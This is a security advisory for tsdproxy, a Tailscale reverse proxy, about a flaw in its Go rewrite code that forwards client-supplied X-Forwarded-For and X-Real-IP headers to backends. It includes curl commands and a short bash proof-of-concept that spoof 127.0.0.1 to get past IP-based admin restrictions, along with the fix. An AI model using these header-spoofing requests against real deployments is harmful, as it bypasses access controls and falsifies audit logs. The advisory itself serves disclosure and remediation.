GHSA-pqg7-v6wh-3pfp

Description

The HTTP reverse proxy handler in tsdproxy does not strip the X-Forwarded-For (or X-Real-IP) header from incoming requests before calling r.SetXForwarded(). This allows an authenticated Tailscale user to inject arbitrary X-Forwarded-For values that are forwarded verbatim to backend services.

// internal/proxymanager/port.go -- Rewrite function
Rewrite: func(r *httputil.ProxyRequest) {
    r.SetURL(pconfig.GetFirstTarget())
    r.Out.Host = r.In.Host

    // Strips tsdproxy identity headers (correct)
    r.Out.Header.Del(consts.HeaderID)
    r.Out.Header.Del(consts.HeaderRemoteUser)
    r.Out.Header.Del(consts.HeaderXForwardedUser)
    // ... other identity headers deleted ...

    // X-Forwarded-For is NOT deleted before SetXForwarded!
    // X-Real-IP is NOT deleted at all!
    r.SetXForwarded()  // APPENDS client IP to attacker-controlled XFF list
},

Per Go's httputil.ProxyRequest.SetXForwarded() documentation:

If the inbound request has an existing X-Forwarded-For header, SetXForwarded appends the inbound request's remote address to the list.

Result when attacker sends X-Forwarded-For: 127.0.0.1:

• Backend receives: X-Forwarded-For: 127.0.0.1, <real-tailscale-client-ip>
• If backend reads first element as "original client", attacker appears as 127.0.0.1

X-Real-IP is not handled at all -- if the attacker sets X-Real-IP: 127.0.0.1, it is forwarded to the backend verbatim without any overriding or stripping.

Many backend applications trust the first element of X-Forwarded-For (or X-Real-IP) for:

• IP-based access control (admin panels restricted to 127.0.0.1)
• Rate limiting tied to source IP
• Audit logging
• Geo-blocking or network-segment restrictions

This is particularly impactful in tsdproxy's intended use case where the backend service is only accessible through tsdproxy -- making the proxy's header handling the sole enforcement point.

CVSS

CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N = 7.7

Severity

High

Affected Code / Files

• internal/proxymanager/port.go -- newPortProxy Rewrite closure
• Missing: r.Out.Header.Del("X-Forwarded-For") before r.SetXForwarded()
• Missing: r.Out.Header.Del("X-Real-IP") unconditional strip

Steps to Reproduce

1. Deploy tsdproxy with a backend service that restricts /admin to 127.0.0.1 via X-Forwarded-For (e.g., Nginx with real_ip_header X-Forwarded-For and real_ip_recursive on)
2. As an authenticated Tailscale user (non-admin), make a request through the proxy:

curl -H "X-Forwarded-For: 127.0.0.1" \
     https://<proxy-hostname>.ts.net/admin

1. Backend receives: X-Forwarded-For: 127.0.0.1, <your-tailscale-ip>
2. Nginx real_ip_recursive resolves left-most non-trusted IP; if tailscale range is the only trusted range, 127.0.0.1 becomes the "real" IP, bypassing admin restriction.

For the X-Real-IP vector:

curl -H "X-Real-IP: 127.0.0.1" \
     https://<proxy-hostname>.ts.net/admin
# Backend receives X-Real-IP: 127.0.0.1 verbatim

PoC Script (if used)

#!/bin/bash
# Demonstrate XFF injection through tsdproxy
PROXY_HOST="${1}"  # e.g. myapp.my-tailnet.ts.net
curl -v \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" \
  "https://${PROXY_HOST}/"
# Expected: backend sees XFF: 127.0.0.1, <tailscale-ip>
#           backend sees X-Real-IP: 127.0.0.1 (unmodified)

Impact

An authenticated Tailscale user who should only have regular user access can:

1. Bypass IP-based admin restrictions on the backend application by spoofing X-Forwarded-For to 127.0.0.1
2. Appear as any arbitrary IP address in audit logs
3. Bypass rate limiting tied to source IP
4. Bypass geo-blocking or network-segment restrictions enforced by the backend

This is especially impactful because tsdproxy is designed as the sole access point for backend services that are otherwise network-isolated -- making the proxy the only enforcement boundary.

Fix: Add r.Out.Header.Del("X-Forwarded-For") and r.Out.Header.Del("X-Real-IP") in the Rewrite closure before calling r.SetXForwarded(). This ensures only the real Tailscale client IP appears in the XFF chain.

Credits

Reported by Vishal Shukla (@shukla304) using sechub.dev AI Agent

Support

If this disclosure work has been useful, sponsoring helps fund continued open-source security audits -- appreciated either way.